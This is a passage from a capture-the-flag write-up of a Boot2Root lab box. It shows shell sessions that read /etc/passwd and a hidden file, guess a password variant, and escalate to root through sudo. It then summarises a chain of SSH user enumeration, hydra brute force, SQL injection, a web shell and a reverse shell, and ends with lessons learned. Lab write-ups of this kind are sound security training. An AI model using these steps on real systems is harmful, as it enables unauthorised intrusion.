cat /home/.Mylife/.Secret
cat /etc/passwd | grep -i dimi

dimitri's .Secret: text ending in "DimitryHateApple"; /etc/passwd shows the dimitri user

www-data@Dimitri:/home/.Mylife$ cat .Secret
I have been working on this CIA BlackMarket Project but it seems like I am not doing anything
right for people. Selling drugs and guns is not my business so soon I will quit the job.

About my personal life I am a sharp shooter have two kids but my wife don't like me and I am
broke. Food wise I eat everything but DimitryHateApple

I will add more about later!

www-data@Dimitri:/home/.Mylife$ cat /etc/passwd | grep -i dimi
dimitri:x:1000:1000:,,,:/home/dimitri:/bin/bash

The last sentence is a deliberate non-sequitur: in the middle of a paragraph about food, DimitryHateApple appears glued together, no spaces, with internal capitals. That is a password in disguise. But there is a detail: the text writes "Dimitry" with a y while /etc/passwd says dimitri with an i.

su dimitri -> sudo -> root

su dimitri
id
sudo su

su dimitri fails with the literal password but works with DimitriHateApple; id shows group 27(sudo) and sudo su gives root@Dimitri

www-data@Dimitri:/home/.Mylife$ su dimitri
Password:
su: Authentication failure
www-data@Dimitri:/home/.Mylife$ su dimitri
Password:
dimitri@Dimitri:/home/.Mylife$ id
uid=1000(dimitri) gid=1000(dimitri) groups=1000(dimitri),4(adm),24(cdrom),27(sudo),...
dimitri@Dimitri:/home/.Mylife$ sudo su
[sudo] password for dimitri:
root@Dimitri:/home/.Mylife#

The first su fails with the literal DimitryHateApple, and the second works once the letter is fixed: DimitriHateApple. It is exactly the kind of variation a hydra run with mutation rules would find, and that by eye is solved by reading /etc/passwd.

Inside dimitri's session, id shows the finishing move: he belongs to the 27(sudo) group, so a plain sudo su opens a root shell asking for his own password, the one we just found.

cat /root/THEEND.txt

root@Dimitri shell reading THEEND.txt: "FINALLY YOU MADE IT! THANKS FOR PLAYING BOOT2ROOT CTF..."

root@Dimitri:~# cat THEEND.txt
FINALLY YOU MADE IT!

THANKS FOR PLAYING BOOT2ROOT CTF AND PLEASE DO MAIL ME ANY SUGGESTIONS @ acebomber@protomail.com

THANKS SECTALKS BRISBANE FOR HOSTING MY CTF

Box pwned.

Attack chain

source (base64: Operation Treadstone)  ->  Bourne character names  ->  ssh user enum -> nicky
    └─> cewl + hydra (FTP) -> nicky:CIA  ->  IMP.txt -> hint /vworkshop
            └─> UNION SQLi (sparepartid)  ->  MD5 hashes  ->  admin:BigBossCIA
                    └─> login.php -> hint "Email access ?????"  ->  SquirrelMail jbourne:?????
                            └─> Atbash draft (quipqiup)  ->  /kgbbackdoor + PassPass.jpg
                                    └─> strings -> dec2hex2text -> HailKGB  ->  WSO 2.6 -> revshell
                                            └─> .Secret (Dimitry->Dimitri)  ->  su dimitri  ->  sudo su -> root

Lessons learned

  • A thematic hint is a wordlist. The base64 leads to Operation Treadstone, its characters to the usernames and cewl to an 8283-word list that finishes in seconds where rockyou wanted 283 hours.
  • An old SSH gives away usernames. CVE-2018-15473 tells valid from invalid, which turns seven names from a film series into one concrete target.
  • The hash that will not crack is information too. jbourne was the only unsolved one because his password (?????) is in no table; the panel itself handed it over in plain text.
  • strings before anything else in steganography. The text is usually appended at the end of the file and encoded; 19 decimal digits that yield 8 ASCII bytes are not a number, they are a string.
  • A 404 that returns 200 is not a 404. The real status code and a server signature that does not match the scan give away a fake error page.
  • Being in the sudo group is root. sudo su needs nothing else; the rest of the chain is just getting to a user who has it.
Command cheatsheet 14 commands

Quick review